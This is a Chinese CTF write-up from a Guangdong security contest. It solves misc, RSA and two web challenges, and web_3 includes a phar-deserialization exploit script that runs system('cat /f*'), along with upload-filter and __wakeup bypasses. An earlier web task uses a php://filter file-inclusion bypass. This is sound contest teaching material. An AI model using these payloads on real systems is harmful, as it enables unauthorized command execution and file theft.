广东省网络安全竞赛部分web,misc wp

news2025/1/19 14:32:41

我的队伍只做了5题,还是太菜了,本来不想发的,但是写都写了,还是水一篇博客吧

这里是我们队的wp

misc1

给了一个压缩包,解压需要密码,用纯数字密码没跑出来,感觉可能不是要强跑,看了下压缩包文件名,好长而且是32位,感觉是MD5,拿去网站查一下就出了

在这里插入图片描述

解压后发现flag.png打不开,用010发现是png文件头损坏,修复为

89 50 4E 47

打开图片发现是二维码,扫描发现

❀❁❀❇❀✼❀❂✿❆✿✽❁❀✿✾❂❅✿❄❂❉❀✿❂❆❀❃❀✿❂❆✿❀❁✾✻✿❁❁❀❁❂❊✻❂✿❈=

花瓣=朵编码,在线解码即可,https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=huaduo

flag{rUsJyNdKhdKuS4VfO7}

misc2

给了个图片

在这里插入图片描述

定积分算出来是Π,没啥头绪,用010看了看图片发现

在这里插入图片描述

很明显用stegpy工具,但是不知道密钥,推测是Π的前6位,一开始试314159,错了,又试了Π/6的前6位,又错

后面经队友提醒,发现密钥3.1415,真是逆天,小数点也在密钥里,接出来

3557736c7371495153424738633644326d352f4b5277672b36676a6d3174723144513855794a556d495a733dk:luckyone

把3557736c7371495153424738633644326d352f4b5277672b36676a6d3174723144513855794a556d495a733d十六进制编码了一下为

5WslsqIQSBG8c6D2m5/KRwg+6gjm1tr1DQ8UyJUmIZs=

密钥是luckone,试了好多各种带密钥的解密,后面尝试des的PKSC37填充,iv,密钥都是luckyone,就出了

在这里插入图片描述

crypto

密码学就一个题目,简单的rsa加密,很多参数都给了,直接按照加密脚本,对应解密即可

from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Util.strxor import strxor
from Crypto.PublicKey import RSA
d = 4885628697024674802233453512637565599092248491488767824821990279922756927662223348312748794983451796542248787267207054348962258716585568185354414099671493917947012747791554070655258925730967322717771647407982984792632771150018212620323323635510053326184087327891569331050475507897640403090397521797022070233
N = 89714050971394259600440975863751229102748301873549839432714703551498380713981264101533375672970154214062583012365073892089644031804109941766201243163398926438698369735588338279544152140859123834763870759757751944228350552806429642516747541162527058800402619575257179607422628877017180197777983487523142664487
ciphertext = 67254133265602132458415338912590207677514059205474875492945840960242620760650527587490927820914970400738307536068560894182603885331513473363314148815933001614692570010664750071300871546575845539616570277302220914885734071483970427419582877989670767595897758329863040523037547687185382294469780732905652150451

m = pow(ciphertext,d,N)
xor_key = long_to_bytes(m)
key = b'Life is like an ocean only strong-minded can reach the other shore'
key = key[:len(xor_key)]
msg = strxor(key,xor_key)
print(msg)

web_1

题目提示是文件包含,一开始进去就是Access deny,没有权限,可能需要本地登录,加个XFF头就会显示,file is null
在这里插入图片描述
尝试传file参数来进行文件包含,但是ban了很多关键字,用只有php://filter时没有被ban,但是加上read或write都会被拦截,但是不加又没有回显,尝试把read=convert.base64-encodebase64一下就能回显了文件,然后读取flag即可
在这里插入图片描述

web_3

题目提示有源码,用dirsearch扫一下,发现有www.tar.gz,下载后发现了源码,关键如下

download.php

<?php

$file = $_POST['file'];

if (isset($_POST['file'])) {
    if (preg_match("/flag/", $file)) {
        die("Access Denied");
    }
    
    $forbidden_paths = array("/etc/");
    foreach ($forbidden_paths as $forbidden_path) {
        if (strpos($file, $forbidden_path) === 0) {
            die("Access Denied");
        }
    }

    if (strpos($file, '../') !== false || strpos($file, '..\\') !== false) {
        die("Access Denied");
    }

    echo file_get_contents($file);
}

class File {
    public $val1;
    public $val2;
    public $val3;

    public function __construct() {
        $this->val1 = "val1";
        $this->val2 = "val2";
    }

    public function __destruct() {
        if ($this->val1 === "file" && $this->val2 === "exists") {
            if (preg_match('/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/', $this->val3)) {
                eval($this->val3);
            } else {
                echo "Access Denied";
            }
        }
    }

    public function __access() {
        $Var = "Access Denied";
        echo $Var;
    }

    public function __wakeup() {
        $this->val1 = "exists";
        $this->val2 = "file";
        echo "文件存在";
    }
}

?>

upload.php

<?php
if ($_FILES["file"]["error"] > 0){
    echo "文件上传出错";
}
else{
    $extensions = array("gif", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $fileExtension = end($temp);
    $fileSizeCheck = $_FILES["file"]["size"];
    $isExtensionAllowed = in_array($fileExtension, $extensions) ? true : false;
    if ($fileSizeCheck && $isExtensionAllowed){
        $fileContent = file_get_contents($_FILES["file"]["tmp_name"]);
        $haltCompilerCheck = strpos($fileContent, "__HALT_COMPILER();");
        if(gettype($haltCompilerCheck) === "integer"){
            echo "phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $fileHandle = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($fileHandle, $fileContent);
                fclose($fileHandle);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "不允许上传 .".$fileExtension;
    }
}

function obfuscateCode($code) {
    $a = strrev($code);
    $b = base64_encode($a);
    return $b;
}

function deobfuscateCode($code) {
    $a = base64_decode($code);
    $b = strrev($a);
    return $b;
}

obfuscateCode($_SERVER["PHP_SELF"]);

?>

然后还有一个文件上传的页面
要利用File类的__destruct方法读取flag

download.php,有file_get_contents,可以post一个file参数用phar协议,触发phar反序列化

但是有__wakeup需要绕过,发现php版本为5.5,修改系列化字符传属性数字即可

upload.php检测了phar文件特征__HALT_COMPILER();,gzip压缩或者写入zip注释,我这里用gzip压缩

然后正则比较奇葩,不能有flag,命令要是system(cat ..);类似的,

exp如下:

<?php
class File {
    public $val1;
    public $val2;
    public $val3;
}

$a= new File();
$a->val1='file';
$a->val2='exists';
$a->val3="system('cat /f*');";
$phar=new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($a);
$phar->addFromString("a.txt","a");
$phar->stopBuffering();

?>

生成phar文件后,要用16进制修改器修改表示属性个数的16进制值,否则脚本重签名会失败

在这里插入图片描述
改完后再用脚本重签名,然后gzip压缩,最后改个png后缀在上传页面传上去后,在download.php传

?file=compress.zlib://phar://newtest.png/a.txt

读取phar文件,触发phar反序列化
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1674268.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

海外媒体宣发:新加坡.马来西亚如何在海外媒体投放新闻通稿-大舍传媒

导言 随着全球化的进程加速&#xff0c;海外市场对于企业的发展越来越重要。而在海外媒体上宣传企业的新闻通稿&#xff0c;成为了拓展海外市场和提升企业知名度的重要手段之一。本文将介绍大舍传媒对于如何在海外媒体上投放新闻通稿的经验和策略。 准备工作&#xff1a;了解…

Patch-Wise Graph Contrastive Learning for Image Translation

Patch-Wise Graph Contrastive Learning for Image Translation 图像翻译中的逐块图对比学习 Chanyong Jung1, Gihyun Kwon1, Jong Chul Ye1, 2 Chanyong Jung&#xff0c;Gihyun Kwon&#xff0c;Jong Chul Ye 1, 2 Abstract 摘要 Patch-Wise Graph Cont…

CSS实现渐变色

渐变色分为线性渐变和径向渐变。 线性渐变linear-gradient(方向, 颜色1, 颜色2, … ,颜色n)径向渐变radial-gradient(颜色1 覆盖区域大小, 颜色2 覆盖区域大小, … ) 线性渐变的方向可以为&#xff1a; ​ 1、一个方向值时&#xff1a; to bottom 表示从上边到下边渐变 ​ 2、…

SpringAMQP 发布订阅-DirectExchange

DirectExchange: 路由模式模型 代码实现 直接通过注解方式绑定交换机和队列&#xff0c;这里边加了key也就是BingdingKey绑定key&#xff0c;可以看作交换机的路由规则&#xff0c;交换机收到消息后读取消息中指定的Routingkey发送到存有相应BingdingKey的队列中。 RabbitLis…

【Power BI】DAX语言 VS Power Query M语言

DAX&#xff08;Data Analysis Expressions&#xff09;和Power Query M语言是Microsoft Power BI和Excel中的两种强大的数据处理和分析工具。尽管它们在许多方面都有重叠之处&#xff0c;特别是用于数据建模和数据转换&#xff0c;但它们在用途、语法和功能上有显著的区别。本…

联想移动硬盘数据不见了?别急,分享4种实用恢复方法

在数字化时代&#xff0c;硬盘作为数据存储的核心设备&#xff0c;承载着大量的重要信息和文件。然而&#xff0c;有时我们可能会遭遇硬盘数据丢失的困境&#xff0c;特别是当这个问题发生在联想硬盘上时&#xff0c;更是让人倍感焦虑。本文将深入探讨联想硬盘数据丢失的可能原…

【热门话题】Vue.js:现代前端开发的轻量级框架之旅

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 Vue.js&#xff1a;现代前端开发的轻量级框架之旅一、Vue.js概览1.1 Vue.js的诞…

如何完美实现文件外发防泄漏,保护核心数据资产?

不管是大型企业&#xff0c;还是小型创业公司&#xff0c;不论企业规模大小&#xff0c;每天都会有大量的文件要进行内部传输协作和对外发送使用&#xff0c;数据的生产也是企业业务生产力的体现之一。因此文件外发防泄漏是企业信息安全中的一个重要议题&#xff0c;为了防止企…

关于‘==’与equals的区别

我写的也不清楚&#xff0c;有兴趣的可以看这位大佬的文章链接&#xff0c;说的很清楚 https://www.cnblogs.com/Latiny/p/8099581.html#!comments 与 equals 方法 判断两个变量是否相等有两种方式&#xff1a;一种是利用 运算符&#xff0c;另一种是利用equals方法。 注意…

YOLOv9全网最新改进系列::YOLOv9完美融合双卷积核(DualConv)来构建轻量级深度神经网络,目标检测模型有效涨点神器!!!

YOLOv9全网最新改进系列&#xff1a;&#xff1a;YOLOv9完美融合双卷积核&#xff08;DualConv&#xff09;来构建轻量级深度神经网络,目标检测模型有效涨点神器&#xff01;&#xff01;&#xff01; YOLOv9原文链接戳这里&#xff0c;原文全文翻译请关注B站Ai学术叫叫首er …

Flutter 依据JSON数据自动生成实体类

json自动化生成工具 点击这里可以跳转 页面是这样的 然后在左边输入你的json数据&#xff0c;它会自动生成对应的实体类 生成的实体类是如下&#xff1a; import package:json_annotation/json_annotation.dart; part merch_region.g.dart;JsonSerializable()class MerchReg…

Java面试八股之反射慢在哪里

Java反射慢在哪里 动态类型检查&#xff1a; 在反射过程中&#xff0c;Java需要在运行时确定类、方法、字段等的类型信息。这与编译时已经确定类型信息的常规对象访问不同&#xff0c;反射需要额外的类型查询和验证&#xff0c;增加了性能开销。 安全检查&#xff1a; 反射…

【流体模拟-01】如何模拟静态流(上)

文章目录 一、说明二、摘要三、简介四、稳定的纳维-斯托克斯4.1 基本方程4.2 解决方法 一、说明 关于流体物质的仿真和模拟&#xff0c;需要流体理论方面的一般知识。我们这里从基本流体方程入手&#xff0c;详细解释如何实现流体仿真的每一个具体步骤。 二、摘要 构建类似流体…

应急救灾北斗终端手机应用方案

在应对自然灾害和紧急救援的严峻挑战中&#xff0c;技术的力量从未如此重要。为了保障救援人员能够迅速、准确地响应灾情&#xff0c;提供及时有效的救助&#xff0c;顶坚应急救灾北斗终端手机应用应运而生。这款应用依托北斗卫星导航系统的高精度定位与通信功能&#xff0c;不…

企业OA办公系统开发笔记:2、MyBatis-Plus

文章目录 企业办公系统&#xff1a;2、MyBatis-Plus一、MyBatis-Plus1、简介2、主要特点3、依赖 二、MyBatis-Plus入门1、配置文件2、启动类3、实体类4、添加Mapper类5、测试Mapper接口6、CRUD测试6.1、insert添加6.1.1、示例6.1.2、主键策略 6.2、更新6.3、删除6.3.1、根据id删…

LoRA Land: 310个经微调的大语言模型可媲美GPT-4

摘要 低秩自适应 (LoRA) 已成为大语言模型 (LLM) 参数有效微调 (PEFT) 中最广泛采用的方法之一。LoRA 减少了可训练参数的数量和内存使用,同时达到了与全面微调相当的性能。该研究旨在评估在实际应用中训练和服务使用 LoRA 微调的 LLM 的可行性。首先,该研究测量了在 10 个基础…

学校为何更热衷于使用SOLIDWORKS教育版教学

在当今的教育环境中&#xff0c;SOLIDWORKS教育版因其独特的优势&#xff0c;越来越受到学校的青睐。为什么学校更热衷于使用SolidWorks教育版进行教学呢&#xff1f;本文将从以下几个方面进行阐述。 首先&#xff0c;SOLIDWORKS教育版为学生们提供了一个与实际工程应用紧密结…

java学习之zip炸弹攻击

一、概述 Zip炸弹是一种特殊类型的Zip文件&#xff0c;它包含了大量的无用数据。Zip文件格式允许使用压缩算法来减小文件的大小&#xff0c;但是如果Zip文件中的某些内容被重复压缩&#xff0c;就会导致文件大小急剧增加。Zip炸弹利用这个特性&#xff0c;将一些无用的数据多次…

vscode调试Electron+ts

调试Electronjs 调试Electronjs: https://www.electronjs.org/zh/docs/latest/tutorial/debugging-vscode 调试Electronts 首先看一下&#xff0c;我的目录结构。目录结构决定了launch.json中的路径部分。我将在项目根目录下进行调试&#xff0c;项目根目录下包含electron代码…

Windows Qt中支持heic 图片显示

安装vcpkg&#xff1a; git clone https://github.com/microsoft/vcpkg 执行脚本&#xff1a; .\vcpkg\bootstrap-vcpkg.bat 在安装之前如果需要指定vs的编译器&#xff0c; 在如下文件中做更改&#xff0c; 我指定的是用vs2019编译的&#xff1a; D:\vcpkg\vcpkg\triplets 增…